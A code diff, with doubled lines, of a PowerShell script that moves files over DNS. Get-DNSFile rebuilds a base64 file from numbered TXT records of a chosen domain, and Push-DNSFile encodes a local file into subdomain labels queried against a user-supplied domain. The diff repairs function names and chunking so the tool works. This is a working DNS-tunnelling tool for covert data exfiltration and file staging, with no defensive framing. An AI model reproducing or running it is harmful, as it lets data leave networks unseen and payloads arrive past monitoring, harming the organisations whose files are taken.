|
|
@ -2,7 +2,11 @@ Function Get-DNSTXT {
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[string] $Domain
|
|
|
|
[string] $Domain
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
Try {
|
|
|
|
return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
|
|
|
|
return (Resolve-DnsName -Type TXT $Domain | Select-Object Strings | Format-Table -HideTableHeaders | Out-String -Width 1000).Replace("{", "").Replace("}", "").Trim()
|
|
|
|
|
|
|
|
} Catch [System.Management.Automation.CommandNotFoundException] {
|
|
|
|
|
|
|
|
return dig +short $Domain TXT
|
|
|
|
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
Function Get-DNSFile {
|
|
|
|
Function Get-DNSFile {
|
|
|
@ -13,10 +17,10 @@ Function Get-DNSFile {
|
|
|
|
[switch] $Write,
|
|
|
|
[switch] $Write,
|
|
|
|
[string] $OutPath
|
|
|
|
[string] $OutPath
|
|
|
|
)
|
|
|
|
)
|
|
|
|
$count = [int](Retrieve-DNSTXT -Domain "$Filename.count.$DNSName")
|
|
|
|
$count = [int](Get-DNSTXT -Domain "$Filename.count.$DNSName")
|
|
|
|
$file_base64 = ""
|
|
|
|
$file_base64 = ""
|
|
|
|
For ($i=0; $i -le $count; $i++) {
|
|
|
|
For ($i=0; $i -le $count; $i++) {
|
|
|
|
$file_base64 += (Retrieve-DNSTXT -Domain "$Filename.$i.$DNSName")
|
|
|
|
$file_base64 += (Get-DNSTXT -Domain "$Filename.$i.$DNSName")
|
|
|
|
}
|
|
|
|
}
|
|
|
|
"Base64 $file_base64"
|
|
|
|
"Base64 $file_base64"
|
|
|
|
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
|
|
|
|
$file_string = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($file_base64))
|
|
|
@ -31,20 +35,25 @@ Function Get-DNSFile {
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function Push-DNSFile {
|
|
|
|
Function Push-DNSFile {
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[CmdletBinding()] param(
|
|
|
|
[string] $Filename = $(Read-Host -Prompt 'Enter a Filename'),
|
|
|
|
[string] $Filename = $(Read-Host -Prompt 'Enter a Filename'),
|
|
|
|
[string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName'),
|
|
|
|
[string] $DNSName = $(Read-Host -Prompt 'Enter a DNSName')
|
|
|
|
[string] $Prefix = ""
|
|
|
|
|
|
|
|
)
|
|
|
|
)
|
|
|
|
|
|
|
|
$content_id = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes((Get-FileHash -Path $Filename).ToString())).Substring(0,6)
|
|
|
|
$content_binary = Get-Content -Path $Filename -Encoding utf8
|
|
|
|
$content_binary = Get-Content -Path $Filename -Encoding utf8
|
|
|
|
$content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
|
|
|
|
$content_base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($content_binary))
|
|
|
|
$i = 0
|
|
|
|
$i = 0
|
|
|
|
While ($content_base64) {
|
|
|
|
While ($content_base64) {
|
|
|
|
$url = ".$(Prefix)$(i)0.$(DNSName)"
|
|
|
|
$url = "."+$i+"-"+$content_id+"u."+$DNSName
|
|
|
|
$len = 63 - $url.Length
|
|
|
|
$len = 63 - $url.Length
|
|
|
|
|
|
|
|
if($len -le $content_base64.Length) {
|
|
|
|
$content_part = $content_base64.Substring(0, $len)
|
|
|
|
$content_part = $content_base64.Substring(0, $len)
|
|
|
|
$content_base64 = $content_base64.Substring($len)
|
|
|
|
$content_base64 = $content_base64.Substring($len)
|
|
|
|
|
|
|
|
} else {
|
|
|
|
|
|
|
|
$content_part = $content_base64
|
|
|
|
|
|
|
|
$content_base64 = $false
|
|
|
|
|
|
|
|
}
|
|
|
|
Get-DNSTXT -Domain ($content_part + $url)
|
|
|
|
Get-DNSTXT -Domain ($content_part + $url)
|
|
|
|
$i++
|
|
|
|
$i++
|
|
|
|
}
|
|
|
|
}
|
|
|
|